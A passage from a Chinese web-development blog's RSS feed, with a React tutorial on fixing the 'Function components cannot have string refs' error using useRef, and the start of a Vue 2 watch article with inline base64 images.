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" alt="" /></p><p>&nbsp;</p>]]></description><category>Javascript</category><comments>http://camnpr.com/javascript/2300.html#comment</comments><wfw:comment>http://camnpr.com/</wfw:comment><wfw:commentRss>http://camnpr.com/feed.asp?cmt=2300</wfw:commentRss><trackback:ping>http://camnpr.com/cmd.asp?act=tb&amp;id=2300&amp;key=1b67b964</trackback:ping></item><item><title>自定义组件ref不支持字符串名称：Function components cannot have string refs in React</title><author>camnpr@163.com (camnpr)</author><link>http://camnpr.com/javascript/2299.html</link><pubDate>Fri, 26 Jan 2024 14:51:16 +0800</pubDate><guid>http://camnpr.com/javascript/2299.html</guid><description><![CDATA[<blockquote><p>&nbsp;The error &quot;Function components cannot have string refs&quot; occurs when we use a string as a ref in a function component.</p><p>To solve the error use the&nbsp;useRef()&nbsp;hook to get a mutable ref object that you can use as a ref inside of the component.</p><p>&nbsp;</p></blockquote><p><img src="https://bobbyhadz.com/images/blog/react-function-components-cannot-have-string-refs/function-components-cannot-have-string-refs.webp" alt="function components cannot have string refs" /></p><blockquote><p>import {useEffect, useRef} from 'react';</p><p>&nbsp;</p><p>export default function App() {</p><p>&nbsp; const refContainer = useRef(null);</p><p>&nbsp;</p><p>&nbsp; useEffect(() =&gt; {</p><p>&nbsp; &nbsp; // 👇️ This is reference to input element</p><p>&nbsp; &nbsp; console.log(refContainer.current);</p><p>&nbsp;</p><p>&nbsp; &nbsp; refContainer.current.focus();</p><p>&nbsp; }, []);</p><p>&nbsp;</p><p>&nbsp; return (</p><p>&nbsp; &nbsp; &lt;div&gt;</p><p>&nbsp; &nbsp; &nbsp; &lt;input type=&quot;text&quot; id=&quot;message&quot; ref={refContainer} /&gt;</p><p>&nbsp; &nbsp; &lt;/div&gt;</p><p>&nbsp; );</p><p>}</p></blockquote><div>&nbsp;</div><blockquote><div><div>import {useEffect, useRef} from 'react';</div><div>&nbsp;</div><div>export default function App() {</div><div>&nbsp; const refContainer = useRef(null);</div><div>&nbsp;</div><div>&nbsp; const refCounter = useRef(0);</div><div>&nbsp;</div><div>&nbsp; useEffect(() =&gt; {</div><div>&nbsp; &nbsp; // 👇️ This is reference to input element</div><div>&nbsp; &nbsp; console.log(refContainer.current);</div><div>&nbsp; &nbsp; refContainer.current.focus();</div><div>&nbsp;</div><div>&nbsp; &nbsp; // 👇️ Incrementing ref value does not cause re-render</div><div>&nbsp; &nbsp; refCounter.current += 1;</div><div>&nbsp; &nbsp; console.log(refCounter.current);</div><div>&nbsp; }, []);</div><div>&nbsp;</div><div>&nbsp;</div><div>&nbsp; return (</div><div>&nbsp; &nbsp; &lt;div&gt;</div><div>&nbsp; &nbsp; &nbsp; &lt;input type=&quot;text&quot; id=&quot;message&quot; ref={refContainer} /&gt;</div><div>&nbsp; &nbsp; &lt;/div&gt;</div><div>&nbsp; );</div><div>}</div></div><div>&nbsp;</div></blockquote>]]></description><category>Javascript</category><comments>http://camnpr.com/javascript/2299.html#comment</comments><wfw:comment>http://camnpr.com/</wfw:comment><wfw:commentRss>http://camnpr.com/feed.asp?cmt=2299</wfw:commentRss><trackback:ping>http://camnpr.com/cmd.asp?act=tb&amp;id=2299&amp;key=e2b30ffe</trackback:ping></item><item><title>vue2 对watch的使用 监听数据 并包含$store.store 数据变化的监听</title><author>camnpr@163.com (camnpr)</author><link>http://camnpr.com/javascript/2298.html</link><pubDate>Wed, 17 Jan 2024 09:51:11 +0800</pubDate><guid>http://camnpr.com/javascript/2298.html</guid><description><![CDATA[<p>&nbsp;<strong><span style="color: rgb(51, 51, 51); font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, Helvetica, Arial, sans-serif; font-size: 16px;">Vue watch 实现监听数据改变</span></strong></p><p><img src="data:image/png;base64,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